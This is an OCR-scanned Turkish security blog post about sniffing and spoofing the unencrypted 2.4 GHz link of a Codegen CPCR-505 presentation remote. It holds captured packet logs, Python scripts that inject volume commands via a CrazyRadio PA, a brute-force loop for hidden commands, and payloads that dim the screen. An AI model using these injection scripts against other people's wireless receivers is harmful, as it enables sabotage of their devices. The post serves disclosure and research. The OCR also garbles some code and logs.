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If you are looking for an English version of this article, please visit here.

Yeni yeni sunum davetleri almaya basladigim 2012 yilinin basinda, ilk is
olarak kendime kablosuz bir sunum kumandasi almaya karar vermistim. Fiyat &
performans acisindan beni lUzmeyecek bir tane ararken, Codegen CPCR-505 sunum
kumandasi ile karsilasip hemen satin almistim. Emektar sunum kumandam ile
gecmis yillarda cok sayida keyifli sunumlara imza atmis olsam da, kendisinin
Britls gibi beni arkadan hancerleyebilecegini 6grenmem meger yillar sonra

ortaya c¢ikacak ve bu yaziya konu olacakmis!

n
Q
=]
m
Gl
]
2

Kablosuz sunum kumandasi ile sunum yaparken veya sunum yapan birini izlerken
aklimi zaman zaman su soru kurcalardi; “Sunumu izleyenlerden birisi, sunum
kumandasini uzaktan hackleyerek sunumu sabote edebilir mi ?” “Mert sen biraz
fazla Mr Robot dizisi izlemissin galiba” diyenleriniz oldugunu duyar gibi
olsam da, gectigimiz gunlerde bunu 6grenmek i¢in emekter sunum kumandami


https://www.mertsarica.com/et-tu-cpcr-505/
https://www.mertsarica.com/and-you-cpcr-505/
https://www.mertsarica.com/medya/sunumlar/
http://www.codegen.com.tr/codpresenter.html
https://en.wikipedia.org/wiki/Et_tu,_Brute%3F
http://www.imdb.com/title/tt4158110/

yakindan incelemeye karar verdim.

Sunum kumandasinin ureticisi olan Codegen firmasinin web sitesini
inceledigimde, bu kumandanin 2.4 GHz frekans bandinda calistigi net olarak
ifade edilmisti. Kablosuz klavye ve farelerin de bu frekansta calistigini
Casus Fare baslikli blog yazim icin yapmis oldugum arastirmalardan az cok
bildigimden dolayi, detayli bilgi toplama adina USB alicinin ic¢ini acgmakla
ise koyuldum.


http://www.codegen.com.tr
http://www.codegen.com.tr/codpresenter.html
https://en.wikipedia.org/wiki/List_of_2.4_GHz_radio_use
http://www.mertsarica.com/casus-fare/

Alicinin ic¢ini actigimda karsima nRF24LU1PA 2.4 GHz alici-verici ¢ip cikti.

Cipin Ureticisi olan Nordic Semiconductor’un web sitesinde bu cipe ait olan
belgeye baktigimda, 125 RF kanal destegi, AES sifreleme destegi ve frekans


http://www.nordicsemi.com/eng/content/download/2724/34051/file/nRF24LU1P_Product_Spec_v1_1.pdf

atlamasina sahip olmasi ilk dikkatimi ceken noktalar oldu.

nRF24LU1P_O_Product_Spec_v1.0.pdf
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26.1.1 Abbreviations

Abbreviation

Definition

LUTPA

Product number

B

Build Code, a unigue code for production sites and versioning, test platform.

X

"X" grade, that is, Engineering Samples (optional).

AL

Two digit Year number

Ww

Two digit week number

LE

Two letter wafer lot number code

Table 147. Abbreviations

26.2 Product options

26.21 RF silicon




nRF24LU1+ Product Specification

1.3 Features
Features of the nRF24LU1+ include:

+  Fast 8-bit MCU:
» Intel MCS 51 compliant instruction set
» Reduced instruction cycle time, up to 12x compared to legacy 8051
» 32 bit multiplication — division unit
+  Memory:
» 16 or 32 kbytes of on-chip flash memory with security features
» 2 kbytes of on-chip RAM memory
» Pre-programmed USB bootloader in the on-chip flash memory.
* 6 programmable digital input/output pins configurable as:
» GPIO
» SPI master
» SPI slave
» External interrupts
» Timer inputs
» Full duplex senal port
» Debug interface
+ High performance 2.4 GHz RF-transceiver
» True single chip GFSK transceiver
» Enhanced ShockBurst™ link layer support in HW:
» Packet assembly/disassembly
» Address and CRC computation
» Auto ACK and retransmit
» On the air data rate 250 kbps, 1 Mbps or 2 Mbps
» Digital interface (SPI) speed 0-8 Mbps
* » 125 RF channel option, with 79 (2.402 GHz-2 480 GHz) channels within 2.400 - 2. 4835 GHz
» Short switching time enable frequency hopping
» Fully RF compatible with nRF24LXX
» RF compatible with nRF2401A, nRF2402, nRF24E1, nRF24E2 in 250 kbps and 1 Mbps mode
+  AES encryption/decryption HW-block with 122 bits key length
» ECB - Electronic Code Book mode
’ » CBC - Cipher Block Chaining
» CFB — Cipher FeedBack mode
» OFB - Qutput FeedBack mode
» CTR - Counter mode
»  Full speed USB 2.0 compliant device controller supporting:
» Data transfer rates up to 12 Mbit/s
» Control, Interrupt, Bulk and ISC data transfer
» Endpoint 0 for control
» 5input and 5 output Bulk/Interrupt endpoints
» 1input and 1 output iso-synchronous endpoints
» Total 512 bytes of USB buffer endpoint memory sharable between endpoints

2015 yilinda Black Hat Gilvenlik Konferansi‘na gitmisken satin aldigim ve RF
Dinyas1i ve Glvenlik Diinyasi blog yazimda da kullanmis oldugum HackRF One
cihazi sayesinde sunum kumandasi ile bilgisayarima taktigim USB alicisinin
arasindaki haberlesmeyi HDSDR programi yardimi ile izlemeye basladim.


https://www.mertsarica.com/black-hat-macerasi/
https://www.mertsarica.com/rf-dunyasi-ve-guvenlik/
https://www.mertsarica.com/rf-dunyasi-ve-guvenlik/
https://greatscottgadgets.com/hackrf/
http://www.hdsdr.de/
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Sunum kumandasi frekans atlamasi yaptigi i¢in veri paketlerini nasil

yakalayip, cb6zecegim lzerine hindi gibi disinlrken Bitcraze’in Wiki

sayfasinda tam da aradigim konuyu isleyen bir yazi ile karsilastim. Yazida

belirtilenleri harfi harfine uygulayarak sunum kumandasi ile alici arasindaki

fare hareketlerinden, sunum kumandasindaki cesitli butonlara (ses ylkseltme,

azaltma vs.) basilinca olusan cesitli veri paketlerini (adres, boyut, veri)

kolayca elde edebildim.
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https://wiki.bitcraze.io/misc:hacks:hackrf
https://wiki.bitcraze.io/misc:hacks:hackrf

root@Hack4Career: ~/Desktop/NRF24-BTLE-Decoder-master/bin o0

NRF24 Packet start sample 84861508, Threshold:-2885, Address: 0x861D787927 length:5, pid:3, no ack:0, CRC:0xDA4A data:02 @

1474159344,293562 NRF24 Packet start sample 84861874, Threshold:1229, Address: 8610707927 length:0, pid:1, no_ack:0, CRC:0xE2BB data:
1474159344 .358205 NRF24 Packet start e 84982181, Threshold:-2417, Addr x861D707927 length:5, pid:0, no B, CRC:0x2036 data:02
9 60 00 03

1474159344.358431 NRF24 Packet start sample 84983036, Threshold:-2649, Address: $x861D787927 length:5, gid:0, no ac CRC:0x2036 data:02
9 00 00 @3

1474159344 .358496 NRF24 Packet start sample 84983403, Threshold:1169, Address p707927 length:1,00id:2, no_ac 63 data:00
1474159344.452919 NRF24 Packet start sample 85163953, Threshold:-3279, Addres 610707927 length:5, pid:1, no ack: @ C xDCEB data:02
6 08 00 03

1474159344.453004 NRF24 Packet start sample 85164319, Threshold:-193, Addre 861D707927 length:0, pid:3, no_a:k:n, CRC:0xA23F d
1474159344 .505435 NRF24 Packet start sample 85284646, Threshold:-4560, Addr x861D707927 length:5, pid:2, no ack:0@, CRC:0x2697 data:02
9 00 00 83

1474159344.505570 NRF24 Packet start sample 85285501, Threshold:-3001, Address: 0x861D787927 length:5, pid:2, no ack:8, CRC:0x2697 data:02
9 80 00 63

1474159344.505629 NRF24 Packet start sample 85285866, Threshold:67, Address: 0x861D707927 length:1, pid:0, no ack:0, CRC:0x89A7 data:00
1474159344.617497 NRF24 Packet start s e 85496631, Threshold:-2447, Address: 0x861D707927 length:5, pid:3, no ack:®, CRC:0xDA4A data:02
0 00 00 B3

1474159344.617584 NRF24 Packet s sample 85496996, Threshold:507, Address: @x861D707927 length:0, pid:1l, no_ack:0, CRC:0xE2BB data:
1474159345.191685 NRF24 Packet s + e 86646790, Threshold:-7309, Address: ©x861D707927 length:5, pid:0, no ack:08, CRC:0x2036 data:02

.191751 NRF24 Packet st: le 86647155, Threshold:-333, Address: 0x861D707927 length:1, pid:2, no ack:0, CRC:0x4563 data:@e0
276415 NRF24 Packet sta ple 86827703, Threshold:-1651, Addres 0x861D707927 length:5, pid:1, no CRC:0xDCEB data:02

147415934 6594 NRF24 Packet start sample 86828942, Threshold:1131, Address 8610707927 length:0, pid:3, no

1474159345.374008 NRF24 Packet start sample 87089677, Threshold:-2797, Addres x861D707927 length:5, pid:2, no a

9 00 00 B3

1474159345.374067 NRF24 Packet start sample 87010043, Threshold:1035, Address: 861D707927 length:1, pid:®, no ack:08, CRC:0xB89A7 data:e0
1474159345.436277 NRF24 Packet start sample 87130186, Threshold:-2042, Addres x861D707927 length:5, pid:3, no ack:0, CRC:0xDA4A data:02 @
0 08 00 B3

1474159345.436516 NRF24 Packet start sample 87131641, Threshold:-3502, Address: ©x861D787927 length:5, pid:3, no_ack:0, CRC:0xDA4A data:02
0 00 00 03

1474159345.436613 NRF24 Packet start sample 87131407, Threshold:1666, e 861D707927 length:1, pid:1, :0xEFC5 data:ee
1474159345.521358 NRF24 Packet start sample 87311958, Threshold:-3919, g : Bx861D787927 length:5, pid:0, <:0, CRC:0x2036 data:02

Sira veri paketlerini sunum kumandasinin alicisina gondermek i¢in hangi
aygitla, cihazla bu isi gerceklestirecegime karar vermeye gelmisti. Hali
hazirda elimde bulunan Arduino Uno R3 ve NRF24L01+ 2.4GHz alici verici modul
ile bu isi gerceklestirebilirdim. Bill Gates bir roportajinda “Her zaman en
tembel insanlari ise alirim cunkl tembeller ¢ok karisik isleri bile en kisa
yoldan yaparlar.” derken beni kastetmis olsa gerek ki Arduino, modul ve
kablolarla simdi kim ugrasacak diye hayiflanirken aklima Casus Fare baslikli
blog yazimda kullandigim CrazyRadio PA USB aygiti geldi. Python kutiphanesi
sayesinde isletim sistemi farketmeksizin 5 satirlik bir kod ile istedigim
aliciya, diledigim veri paketini goéndermem oldukca kolay olacakti.
scan_channels() fonksiyonu sayesinde asagidaki kod ile 50-70 arasindaki
kanallara (frekans atlama sebebiyle 50-70 arasi kanallara gdndererek veri
paketinin aliciya ulasma sansini arttirdim.) ses yukseltme komutu iceren veri
paketini gonderdim ve basariya ulastim. ;)

import crazyradio

r = crazyradio.Crazyradio()

r.set data rate(r.DR 2MPS)

# Alici/Verici adresi

r.set address((0x27, 0x79, 0x70, O0x1D, 0x86))

# Ses yukseltme komutu

print r.scan channels(50, 70, [0x02,0xE9,0x00,0x00,0x03])


https://store.arduino.cc/arduino-uno-rev3
http://www.robotistan.com/wireless-nrf24l01-24ghz-transceiver-modul-24ghz-alici-verici-modul-1
https://en.wikipedia.org/wiki/Bill_Gates
http://www.mertsarica.com/casus-fare/
https://www.seeedstudio.com/Crazyradio-PA-long-range-2.4Ghz-USB-radio-dongle-with-antenna-p-2104.html
https://wiki.bitcraze.io/projects:crazyradio:python_lib
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Tabii ses arttirarak veya azaltarak bir sunumu sabote etmek pek de mumkin
olamayacagi ig¢in sunum kumandasinin normalde gondermedigi ancak sunumun
kumandasinin alicisinin destekledigi gizli komutlari, deneme yanilma (brute-
force) yontemi ile tespit etmeye karar verdim. Bunun icin de asagidaki Python
kodunu yazdim.

import crazyradio

import time

r = crazyradio.Crazyradio()
r.set data rate(r.DR 2MPS)
r.set address((0x27, 0x79, 0x70, 0x1D, 0x86))

def bruteforce():

i=20

while i < 256:
# Gi
payload = [2, i, 0, 0, 3]
print "Sending payload", payload
r.scan_channels(1l, 128, payload)
time.sleep(2)

i=1+1



bruteforce()

Cok gegmeden sunum kumandasinda var olmayan ancak sunum kumandasinin
alicisinin destekledigi ve ekran parlakligini azaltmaya yarayan asagidaki
komutu kesfettim. Crazy Radio PA USB aygiti ile bu komutu aliciya birden
fazla gonderdigimde ekran parlakligina okumayi oldukca zorlastiracak seviyeye

kadar indirebildim ki bu gercgekten bir sunumu sabote etmek igin yeter ve
artardi. :)

[2, 111, O, O, 3] # Ekran parlakligini arttiriyor.
[2, 112, 0, O, 3] # Ekran parlakligini azaltiyor.

Sunum kumandasinin alicisina sayet Casus Fare blog yazisinda oldugu gibi


http://www.mertsarica.com/casus-fare/

klavye tus basma komutlari da gonderebilinirse durumun gercek anlamda sistem
glivenligine tehlikeye atacak bir boyuta gelebilecegini de g6z Oniinde
bulundurarak sunum kumandami bu calisma sonunda emekli ederek, sifreli

haberlesen bir sunum kumandasi aramaya koyuldum.

Bunun gibi 2.4 GHz (ISM bandi) frekans bandinda, sifresiz gerceklesen benzer
tlim haberlesmelerde (misal dronelar olabilir) bu tur veya benzeri guvenlik
zafiyetlerinin ortaya ¢ikabilecegini de g6z onunde bulundurmanizi
hatirlatarak bir sonraki yazida goOrismek dilegiyle herkese givenli gilnler

dilerim.


https://en.wikipedia.org/wiki/ISM_band

